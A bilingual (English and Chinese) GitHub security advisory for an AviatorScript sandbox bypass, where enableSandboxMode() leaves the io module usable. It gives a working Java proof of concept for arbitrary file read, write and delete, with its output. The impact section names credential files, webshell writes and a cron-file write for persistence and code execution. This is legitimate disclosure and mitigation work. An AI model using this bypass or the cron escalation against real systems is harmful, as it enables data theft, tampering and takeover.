# GHSA-PWG7-9C88-CRPQ: AviatorScript enableSandboxMode() 沙箱绕过漏洞

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-08-25
- Modified: 2026-10-09

## Affected versions

- com.googlecode.aviator (Maven): fixed in 5.4.4

## Description

## Vulnerability Name

AviatorScript `enableSandboxMode()` Sandbox Bypass Vulnerability (IoModule Not Removed)

The `enableSandboxMode()` method of the AviatorScript component fails to remove the built-in `IoModule` from the module cache when enabling sandbox mode. This allows attackers to perform arbitrary file read, write, and delete operations within the sandbox via functions such as `io.slurp()`, `io.spit()`, and `io.delete()`, completely bypassing the sandbox's file system isolation.

- Vulnerability Type: CWE-693 (Protection Mechanism Failure)
- CVSS 3.1 Score: 7.5 (High)
- CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

---

## Affected Versions

| Version Range | Affected | Notes |
|---------|----------|------|
| < 5.0.0 | Not affected | `enableSandboxMode()` method does not exist yet |
| >= 5.0.0, <= 5.4.3 | **Affected** | `enableSandboxMode()` is missing `removeModule("io")` |
| 5.4.4-SNAPSHOT (current dev version) | **Affected** | Defect not yet fixed |

Maven coordinates:

```xml
<dependency>
    <groupId>com.googlecode.aviator</groupId>
    <artifactId>aviator</artifactId>
    <version>5.4.3</version>  <!-- Latest released version, affected -->
</dependency>
```

---

## Prerequisites for Exploitation

1. **The application uses AviatorScript's sandbox mode**: The application calls `instance.enableSandboxMode()` to enable the sandbox, expecting to restrict dangerous operations during expression evaluation.

2. **The application injects IoModule into the expression execution environment**: Before or after enabling the sandbox, the application injects the `io` module's exported objects into the expression execution env, for example:
   ```java
   env.put("io", instance.getModuleCache().get("io"));
   ```
   This is the standard usage recommended by the official AviatorScript documentation, intended to allow script users to manipulate files via functions like `io.slurp()`.

3. **The attacker can control the expression content**: The attacker can input or influence the expression string being evaluated (e.g., user-defined rules in a rule engine, user input in a template engine, etc.)

**Note**: Prerequisites 1 and 2 are both common production usage patterns for AviatorScript. IoModule is the only built-in module of AviatorScript, automatically loaded in the constructor. It is normal and reasonable for application developers to inject it into the env for script use. Prerequisite 3 is the inherent use case of AviatorScript as an expression engine — receiving externally input expressions for evaluation. Therefore, this vulnerability has a high probability of being triggered in real production environments.

---

## Reproduction Steps

### Reproduction Environment Setup

**1. JDK Environment**

```
JDK Version: 1.8.0_422 (OpenJDK)
Operating System: Windows 11 / Linux / macOS (Cross-platform, OS-independent)
```

**2. Create Maven Project**

Create a standard Maven project and add the AviatorScript dependency in `pom.xml`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.poc</groupId>
    <artifactId>aviator-iomodule-sandbox-bypass</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>com.googlecode.aviator</groupId>
            <artifactId>aviator</artifactId>
            <version>5.4.3</version>
        </dependency>
    </dependencies>

    <properties>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
</project>
```

### PoC Reproduction Steps

Create the following Java class and run it:

```java
import com.googlecode.aviator.AviatorEvaluatorInstance;
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.Feature;
import com.googlecode.aviator.Options;
import com.googlecode.aviator.Expression;
import java.io.File;
import java.io.FileWriter;
import java.util.HashMap;
import java.util.Map;

/**
 * PoC: AviatorScript enableSandboxMode() IoModule Not Removed Leading to Arbitrary File Read/Write/Delete
 * Component: com.googlecode.aviator:aviator:5.4.3
 */
public class IoModuleSandboxBypassPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== AviatorScript IoModule Sandbox Bypass PoC ===");
        System.out.println("JDK: " + System.getProperty("java.version"));
        System.out.println();

        // ========================================
        // Step 1: Create AviatorEvaluatorInstance
        // The constructor automatically calls loadModule() -> addModule(IoModule.class)
        // IoModule is registered in moduleCache with namespace = "io"
        // ========================================
        AviatorEvaluatorInstance instance = AviatorEvaluator.newInstance();
        Object ioExports = instance.getModuleCache().get("io");
        System.out.println("[Step 1] Instance created, IoModule auto-loaded: " + (ioExports != null));

        // ========================================
        // Step 2: Inject io module into execution environment (standard production mode)
        // This is the officially recommended usage of AviatorScript:
        //   When the application needs to allow script users to manipulate files,
        //   it places the io module into the env
        // ========================================
        Map<String, Object> env = new HashMap<>();
        env.put("io", ioExports);
        System.out.println("[Step 2] io module injected into env");

        // ========================================
        // Step 3: Enable sandbox mode
        // User expectation: After sandbox is enabled, all dangerous operations should be blocked
        // Actual behavior: IoModule is still in moduleCache, not removed
        // ========================================
        instance.enableSandboxMode();
        System.out.println("[Step 3] Sandbox mode enabled");
        System.out.println("  Feature.Module       = " + instance.isFeatureEnabled(Feature.Module) + "  (disabled, require/load unavailable)");
        System.out.println("  Feature.NewInstance   = " + instance.isFeatureEnabled(Feature.NewInstance) + " (disabled)");
        System.out.println("  Feature.StaticMethods= " + instance.isFeatureEnabled(Feature.StaticMethods) + " (disabled)");
        System.out.println("  ALLOWED_CLASS_SET    = " + instance.getOption(Options.ALLOWED_CLASS_SET) + " (empty=blocks all class access)");
        System.out.println("  IoModule still in cache = " + (instance.getModuleCache().get("io") != null) + "  <- Defect: should be false");
        System.out.println();

        String tempDir = System.getProperty("java.io.tmpdir").replace("\\", "/");

        // ========================================
        // Step 4: Attack — Arbitrary File Read
        // io.slurp(path) can read any file accessible by the JVM process
        // ========================================
        System.out.println("[Attack 1] Arbitrary File Read:");
        String readFile = tempDir + "/sandbox_read_test.txt";
        createFile(readFile, "SECRET_DATA_12345");
        try {
            Expression exp = instance.compile("io.slurp(path)");
            env.put("path", readFile);
            Object result = exp.execute(env);
            System.out.println("  Expression: io.slurp(path)");
            System.out.println("  path = " + readFile);
            System.out.println("  Result: '" + result + "'");
            System.out.println("  >>> Sandbox bypassed: arbitrary file read successful!");
        } catch (Exception e) {
            System.out.println("  Failed: " + e.getMessage());
        }

        // ========================================
        // Step 5: Attack — Arbitrary File Write
        // io.spit(path, content) can write content to any path writable by the JVM process
        // ========================================
        System.out.println("\n[Attack 2] Arbitrary File Write:");
        String writeFile = tempDir + "/sandbox_write_test.txt";
        try {
            Expression exp = instance.compile("io.spit(path, content)");
            env.put("path", writeFile);
            env.put("content", "PWNED_VIA_SANDBOX_BYPASS");
            exp.execute(env);
            File f = new File(writeFile);
            if (f.exists()) {
                System.out.println("  Expression: io.spit(path, content)");
                System.out.println("  path = " + writeFile);
                System.out.println("  content = PWNED_VIA_SANDBOX_BYPASS");
                System.out.println("  File written: " + f.getAbsolutePath());
                System.out.println("  >>> Sandbox bypassed: arbitrary file write successful!");
                f.delete();
            }
        } catch (Exception e) {
            System.out.println("  Failed: " + e.getMessage());
        }

        // ========================================
        // Step 6: Attack — Arbitrary File Delete
        // io.delete(io.file(path)) can delete any file deletable by the JVM process
        // ========================================
        System.out.println("\n[Attack 3] Arbitrary File Delete:");
        String delFile = tempDir + "/sandbox_delete_test.txt";
        createFile(delFile, "TO_BE_DELETED");
        try {
            Expression exp = instance.compile("io.delete(io.file(path))");
            env.put("path", delFile);
            exp.execute(env);
            boolean deleted = !new File(delFile).exists();
            System.out.println("  Expression: io.delete(io.file(path))");
            System.out.println("  path = " + delFile);
            System.out.println("  File deleted: " + deleted);
            System.out.println("  >>> Sandbox bypassed: arbitrary file delete successful!");
        } catch (Exception e) {
            System.out.println("  Failed: " + e.getMessage());
        }

        new File(readFile).delete();
    }

    private static void createFile(String path, String content) throws Exception {
        FileWriter fw = new FileWriter(path);
        fw.write(content);
        fw.close();
    }
}
```

**Actual Execution Results** (JDK 1.8.0_422 + aviator 5.4.3):

```
=== AviatorScript IoModule Sandbox Bypass PoC ===
JDK: 1.8.0_422

[Step 1] Instance created, IoModule auto-loaded: true
[Step 2] io module injected into env
[Step 3] Sandbox mode enabled
  Feature.Module       = false  (disabled, require/load unavailable)
  Feature.NewInstance   = false (disabled)
  Feature.StaticMethods= false (disabled)
  ALLOWED_CLASS_SET    = [] (empty=blocks all class access)
  IoModule still in cache = true  <- Defect: should be false

[Attack 1] Arbitrary File Read:
  Expression: io.slurp(path)
  path = C:/Users/.../Temp/sandbox_read_test.txt
  Result: 'SECRET_DATA_12345'
  >>> Sandbox bypassed: arbitrary file read successful!

[Attack 2] Arbitrary File Write:
  Expression: io.spit(path, content)
  path = C:/Users/.../Temp/sandbox_write_test.txt
  content = PWNED_VIA_SANDBOX_BYPASS
  File written: C:\Users\...\sandbox_write_test.txt
  >>> Sandbox bypassed: arbitrary file write successful!

[Attack 3] Arbitrary File Delete:
  Expression: io.delete(io.file(path))
  path = C:/Users/.../Temp/sandbox_delete_test.txt
  File deleted: true
  >>> Sandbox bypassed: arbitrary file delete successful!
```

---

## Vulnerability Root Cause Analysis

### Root Cause

The `AviatorEvaluatorInstance` constructor automatically calls the `loadModule()` method, which loads `IoModule` into `moduleCache`:

```java
// AviatorEvaluatorInstance.java lines 894-901
private void loadModule() {
    try {
        addModule(IoModule.class);  // IoModule is loaded into moduleCache
    } catch (Exception e) {
        System.err.println("Fail to load internal modules.");
        System.exit(1);
    }
}
```

The `enableSandboxMode()` method disables the `require`/`load` functions via `disableFeature(Feature.Module)` when enabling the sandbox, preventing scripts from dynamically loading new modules. However, this method **does not call** `removeModule("io")` to remove the already-loaded IoModule from the module cache:

```java
// AviatorEvaluatorInstance.java lines 470-480
public void enableSandboxMode() {
    disableFeature(Feature.Module);       // Removed require/load functions
    disableFeature(Feature.NewInstance);
    disableFeature(Feature.InternalVars);
    disableFeature(Feature.StaticMethods);
    setFunctionMissing(null);
    setOption(Options.MAX_LOOP_COUNT, 65535);
    setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
    setOption(Options.ASSIGNABLE_ALLOWED_CLASS_SET, Collections.emptySet());
    setOption(Options.EVAL_TIMEOUT_MS, 1000L);
    // <- Missing removeModule("io")
}
```

### Key Contradiction

`enableSandboxMode()` removes the script's ability to dynamically load modules via `disableFeature(Feature.Module)`, indicating that the designer explicitly considered **module loading as a dangerous operation that should be prohibited in the sandbox**. However, the IoModule already loaded into `moduleCache` is not cleaned up, rendering the security intent of disabling module loading ineffective — while scripts cannot dynamically load new modules, the already-loaded IoModule and all of its file system I/O capabilities remain available.

### Fix Already Exists

The `removeModule(String ns)` method already exists in the source code (lines 522-524):

```java
// AviatorEvaluatorInstance.java lines 522-524
public void removeModule(final String ns) {
    this.moduleCache.remove(ns);
}
```

The component already has the full capability to remove modules; it is simply that `enableSandboxMode()` omits the call, making it an implementation defect.

---

## Vulnerability Impact

### Confidentiality Impact: High

`io.slurp()` can read any file accessible by the JVM process, including:

- Linux system files: `/etc/passwd`, `/etc/shadow`
- Application configuration files: database credentials, API keys, OAuth tokens
- Environment variable files: `.env`, `application.properties`, `application.yml`
- Sensitive logs and audit files

### Integrity Impact: High

`io.spit()` can write arbitrary content to any path writable by the JVM process, including:

- Overwriting application configuration files causing service disruption or takeover
- Writing JSP/Webshell files to web application directories
- Writing cron jobs for persistence: `io.spit('/var/spool/cron/root', 'malicious command')`
- Modifying startup scripts or initialization files

### Availability Impact: High

`io.delete()` can delete any file deletable by the JVM process, including:

- Critical application files causing service unavailability
- Database files causing data loss
- Audit log files destroying traceability

### Vulnerability Escalation Path

File write capabilities can be further escalated to Remote Code Execution (RCE):

- **Linux**: Write cron job files -> cron daemon executes attacker commands
- **Windows**: Write batch files to startup directory -> auto-executes on user login

---

## Mitigation

Before an official fix is released, users can manually remove IoModule after calling `enableSandboxMode()`:

```java
AviatorEvaluatorInstance instance = AviatorEvaluator.newInstance();
instance.enableSandboxMode();
instance.removeModule("io");  // Manually remove IoModule
```

Alternatively, do not inject the `io` module into the expression execution environment in sandbox mode:

```java
// Avoid the following:
env.put("io", instance.getModuleCache().get("io"));
```

---



# 描述中文版：

## 漏洞名称

AviatorScript `enableSandboxMode()` 沙箱绕过漏洞（IoModule 未移除）

AviatorScript 组件的 `enableSandboxMode()` 方法在启用沙箱模式时，未将内置的 `IoModule` 从模块缓存中移除，导致攻击者可通过 `io.slurp()`、`io.spit()`、`io.delete()` 等函数在沙箱内执行任意文件读取、写入和删除操作，完全绕过沙箱的文件系统隔离。

- 漏洞类型：CWE-693（保护机制失效）
- CVSS 3.1 评分：7.5（高危）
- CVSS 向量：CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

---

## 存在漏洞的版本

| 版本范围 | 是否受影响 | 说明 |
|---------|----------|------|
| < 5.0.0 | 不受影响 | 尚无 `enableSandboxMode()` 方法 |
| >= 5.0.0, <= 5.4.3 | **受影响** | `enableSandboxMode()` 缺少 `removeModule("io")` |
| 5.4.4-SNAPSHOT（当前开发版） | **受影响** | 缺陷尚未修复 |

Maven 坐标：

```xml
<dependency>
    <groupId>com.googlecode.aviator</groupId>
    <artifactId>aviator</artifactId>
    <version>5.4.3</version>  <!-- 最新发布版本，受影响 -->
</dependency>
```

---

## 漏洞利用前提条件

1. **应用使用了 AviatorScript 的沙箱模式**：应用调用了 `instance.enableSandboxMode()` 启用沙箱，期望限制表达式执行的危险操作

2. **应用将 IoModule 注入了表达式执行环境**：应用在启用沙箱前或启用沙箱后，将 `io` 模块的导出对象注入到表达式执行的 env 中，例如：
   ```java
   env.put("io", instance.getModuleCache().get("io"));
   ```
   这是 AviatorScript 官方文档推荐的标准用法，目的是让脚本用户可以通过 `io.slurp()` 等函数操作文件

3. **攻击者能够控制表达式内容**：攻击者可以输入或影响被求值的表达式字符串（例如规则引擎中的用户自定义规则、模板引擎中的用户输入等）

**说明**：上述前提条件 1 和 2 均属于 AviatorScript 的常见生产使用模式。IoModule 是 AviatorScript 唯一的内置模块，在构造函数中自动加载，应用开发者将其注入 env 供脚本使用是正常且合理的做法。前提条件 3 是 AviatorScript 作为表达式引擎本身的使用场景——接收外部输入的表达式进行求值。因此，该漏洞在真实生产环境中有较高的触达概率。

---

## 漏洞复现步骤

### 复现环境搭建

**1. JDK 环境**

```
JDK 版本：1.8.0_422（OpenJDK）
操作系统：Windows 11 / Linux / macOS（跨平台，与操作系统无关）
```

**2. 创建 Maven 工程**

创建标准 Maven 工程，在 `pom.xml` 中添加 AviatorScript 依赖：

```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.poc</groupId>
    <artifactId>aviator-iomodule-sandbox-bypass</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>com.googlecode.aviator</groupId>
            <artifactId>aviator</artifactId>
            <version>5.4.3</version>
        </dependency>
    </dependencies>

    <properties>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
</project>
```

### 复现步骤 PoC

创建以下 Java 类并运行：

```java
import com.googlecode.aviator.AviatorEvaluatorInstance;
import com.googlecode.aviator.AviatorEvaluator;
import com.googlecode.aviator.Feature;
import com.googlecode.aviator.Options;
import com.googlecode.aviator.Expression;
import java.io.File;
import java.io.FileWriter;
import java.util.HashMap;
import java.util.Map;

/**
 * PoC: AviatorScript enableSandboxMode() IoModule 未移除导致任意文件读写删除
 * 组件: com.googlecode.aviator:aviator:5.4.3
 */
public class IoModuleSandboxBypassPoC {

    public static void main(String[] args) throws Exception {
        System.out.println("=== AviatorScript IoModule 沙箱绕过 PoC ===");
        System.out.println("JDK: " + System.getProperty("java.version"));
        System.out.println();

        // ========================================
        // 步骤1：创建 AviatorEvaluatorInstance 实例
        // 构造函数自动调用 loadModule() → addModule(IoModule.class)
        // IoModule 被注册到 moduleCache，namespace = "io"
        // ========================================
        AviatorEvaluatorInstance instance = AviatorEvaluator.newInstance();
        Object ioExports = instance.getModuleCache().get("io");
        System.out.println("[步骤1] 创建实例，IoModule 自动加载: " + (ioExports != null));

        // ========================================
        // 步骤2：将 io 模块注入执行环境（标准生产模式）
        // 这是 AviatorScript 官方推荐的使用方式：
        //   应用需要让脚本用户操作文件时，将 io 模块放入 env
        // ========================================
        Map<String, Object> env = new HashMap<>();
        env.put("io", ioExports);
        System.out.println("[步骤2] io 模块注入 env");

        // ========================================
        // 步骤3：启用沙箱模式
        // 用户期望：沙箱启用后，所有危险操作应被阻止
        // 实际情况：IoModule 仍在 moduleCache 中，未被移除
        // ========================================
        instance.enableSandboxMode();
        System.out.println("[步骤3] 沙箱模式已启用");
        System.out.println("  Feature.Module       = " + instance.isFeatureEnabled(Feature.Module) + "  (已禁用，require/load 不可用)");
        System.out.println("  Feature.NewInstance   = " + instance.isFeatureEnabled(Feature.NewInstance) + " (已禁用)");
        System.out.println("  Feature.StaticMethods= " + instance.isFeatureEnabled(Feature.StaticMethods) + " (已禁用)");
        System.out.println("  ALLOWED_CLASS_SET    = " + instance.getOption(Options.ALLOWED_CLASS_SET) + " (空=阻止所有类访问)");
        System.out.println("  IoModule 仍在缓存中  = " + (instance.getModuleCache().get("io") != null) + "  ← 缺陷：应为 false");
        System.out.println();

        String tempDir = System.getProperty("java.io.tmpdir").replace("\\", "/");

        // ========================================
        // 步骤4：攻击 — 任意文件读取
        // io.slurp(path) 可读取 JVM 进程可访问的任何文件
        // ========================================
        System.out.println("[攻击1] 任意文件读取:");
        String readFile = tempDir + "/sandbox_read_test.txt";
        createFile(readFile, "SECRET_DATA_12345");
        try {
            Expression exp = instance.compile("io.slurp(path)");
            env.put("path", readFile);
            Object result = exp.execute(env);
            System.out.println("  表达式: io.slurp(path)");
            System.out.println("  path = " + readFile);
            System.out.println("  结果: '" + result + "'");
            System.out.println("  >>> 绕过沙箱：任意文件读取成功！");
        } catch (Exception e) {
            System.out.println("  失败: " + e.getMessage());
        }

        // ========================================
        // 步骤5：攻击 — 任意文件写入
        // io.spit(path, content) 可向 JVM 进程可写入的任何路径写入内容
        // ========================================
        System.out.println("\n[攻击2] 任意文件写入:");
        String writeFile = tempDir + "/sandbox_write_test.txt";
        try {
            Expression exp = instance.compile("io.spit(path, content)");
            env.put("path", writeFile);
            env.put("content", "PWNED_VIA_SANDBOX_BYPASS");
            exp.execute(env);
            File f = new File(writeFile);
            if (f.exists()) {
                System.out.println("  表达式: io.spit(path, content)");
                System.out.println("  path = " + writeFile);
                System.out.println("  content = PWNED_VIA_SANDBOX_BYPASS");
                System.out.println("  文件已写入: " + f.getAbsolutePath());
                System.out.println("  >>> 绕过沙箱：任意文件写入成功！");
                f.delete();
            }
        } catch (Exception e) {
            System.out.println("  失败: " + e.getMessage());
        }

        // ========================================
        // 步骤6：攻击 — 任意文件删除
        // io.delete(io.file(path)) 可删除 JVM 进程可删除的任何文件
        // ========================================
        System.out.println("\n[攻击3] 任意文件删除:");
        String delFile = tempDir + "/sandbox_delete_test.txt";
        createFile(delFile, "TO_BE_DELETED");
        try {
            Expression exp = instance.compile("io.delete(io.file(path))");
            env.put("path", delFile);
            exp.execute(env);
            boolean deleted = !new File(delFile).exists();
            System.out.println("  表达式: io.delete(io.file(path))");
            System.out.println("  path = " + delFile);
            System.out.println("  文件已删除: " + deleted);
            System.out.println("  >>> 绕过沙箱：任意文件删除成功！");
        } catch (Exception e) {
            System.out.println("  失败: " + e.getMessage());
        }

        new File(readFile).delete();
    }

    private static void createFile(String path, String content) throws Exception {
        FileWriter fw = new FileWriter(path);
        fw.write(content);
        fw.close();
    }
}
```

**实际运行结果**（JDK 1.8.0_422 + aviator 5.4.3）：

```
=== AviatorScript IoModule 沙箱绕过 PoC ===
JDK: 1.8.0_422

[步骤1] 创建实例，IoModule 自动加载: true
[步骤2] io 模块注入 env
[步骤3] 沙箱模式已启用
  Feature.Module       = false  (已禁用，require/load 不可用)
  Feature.NewInstance   = false (已禁用)
  Feature.StaticMethods= false (已禁用)
  ALLOWED_CLASS_SET    = [] (空=阻止所有类访问)
  IoModule 仍在缓存中  = true  ← 缺陷：应为 false

[攻击1] 任意文件读取:
  表达式: io.slurp(path)
  path = C:/Users/.../Temp/sandbox_read_test.txt
  结果: 'SECRET_DATA_12345'
  >>> 绕过沙箱：任意文件读取成功！

[攻击2] 任意文件写入:
  表达式: io.spit(path, content)
  path = C:/Users/.../Temp/sandbox_write_test.txt
  content = PWNED_VIA_SANDBOX_BYPASS
  文件已写入: C:\Users\...\sandbox_write_test.txt
  >>> 绕过沙箱：任意文件写入成功！

[攻击3] 任意文件删除:
  表达式: io.delete(io.file(path))
  path = C:/Users/.../Temp/sandbox_delete_test.txt
  文件已删除: true
  >>> 绕过沙箱：任意文件删除成功！
```

---

## 漏洞原因说明

### 根因

`AviatorEvaluatorInstance` 构造时自动调用 `loadModule()` 方法，将 `IoModule` 加载到 `moduleCache` 中：

```java
// AviatorEvaluatorInstance.java 第 894-901 行
private void loadModule() {
    try {
        addModule(IoModule.class);  // IoModule 被加载到 moduleCache
    } catch (Exception e) {
        System.err.println("Fail to load internal modules.");
        System.exit(1);
    }
}
```

`enableSandboxMode()` 方法在启用沙箱时，通过 `disableFeature(Feature.Module)` 禁用了 `require`/`load` 函数，阻止脚本动态加载新模块。但该方法**未调用** `removeModule("io")` 将已加载的 IoModule 从模块缓存中移除：

```java
// AviatorEvaluatorInstance.java 第 470-480 行
public void enableSandboxMode() {
    disableFeature(Feature.Module);       // 移除了 require/load 函数
    disableFeature(Feature.NewInstance);
    disableFeature(Feature.InternalVars);
    disableFeature(Feature.StaticMethods);
    setFunctionMissing(null);
    setOption(Options.MAX_LOOP_COUNT, 65535);
    setOption(Options.ALLOWED_CLASS_SET, Collections.emptySet());
    setOption(Options.ASSIGNABLE_ALLOWED_CLASS_SET, Collections.emptySet());
    setOption(Options.EVAL_TIMEOUT_MS, 1000L);
    // ← 缺少 removeModule("io")
}
```

### 关键矛盾

`enableSandboxMode()` 通过 `disableFeature(Feature.Module)` 移除了脚本动态加载模块的能力，表明设计者明确认为**模块加载是沙箱中应被禁止的危险操作**。然而，已经加载到 `moduleCache` 中的 IoModule 并未被清理，使得禁用模块加载的安全意图被架空——脚本虽然无法动态加载新模块，但已加载的 IoModule 及其全部文件系统 I/O 能力仍然可用。

### 修复方法已存在

`removeModule(String ns)` 方法已在源码中存在（第 522-524 行）：

```java
// AviatorEvaluatorInstance.java 第 522-524 行
public void removeModule(final String ns) {
    this.moduleCache.remove(ns);
}
```

组件已具备移除模块的完整能力，仅是 `enableSandboxMode()` 中遗漏了调用，属于实现缺陷。

---

## 漏洞影响

### 机密性影响：高

`io.slurp()` 可读取 JVM 进程可访问的任何文件，包括：

- Linux 系统文件：`/etc/passwd`、`/etc/shadow`
- 应用配置文件：数据库凭证、API 密钥、OAuth 令牌
- 环境变量文件：`.env`、`application.properties`、`application.yml`
- 敏感日志和审计文件

### 完整性影响：高

`io.spit()` 可向 JVM 进程可写入的任何路径写入任意内容，包括：

- 覆盖应用配置文件导致服务异常或接管
- 向 Web 应用目录写入 JSP/Webshell 文件
- 写入 cron 任务实现持久化：`io.spit('/var/spool/cron/root', '恶意命令')`
- 修改启动脚本或初始化文件

### 可用性影响：高

`io.delete()` 可删除 JVM 进程可删除的任何文件，包括：

- 关键应用文件导致服务不可用
- 数据库文件导致数据丢失
- 审计日志文件破坏可追溯性

### 漏洞升级路径

文件写入能力可进一步升级为远程代码执行（RCE）：

- **Linux**：写入 cron 任务文件 → cron 守护进程执行攻击者命令
- **Windows**：写入启动目录批处理文件 → 用户登录时自动执行

---

## 漏洞规避方案

在官方修复发布前，用户可在调用 `enableSandboxMode()` 后手动移除 IoModule：

```java
AviatorEvaluatorInstance instance = AviatorEvaluator.newInstance();
instance.enableSandboxMode();
instance.removeModule("io");  // 手动移除 IoModule
```

或者，不在沙箱模式下将 `io` 模块注入表达式执行环境：

```java
// 避免以下操作：
env.put("io", instance.getModuleCache().get("io"));
```

---

## References

- https://github.com/killme2008/aviatorscript/security/advisories/GHSA-pwg7-9c88-crpq

Page: https://cve.now/GHSA-PWG7-9C88-CRPQ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
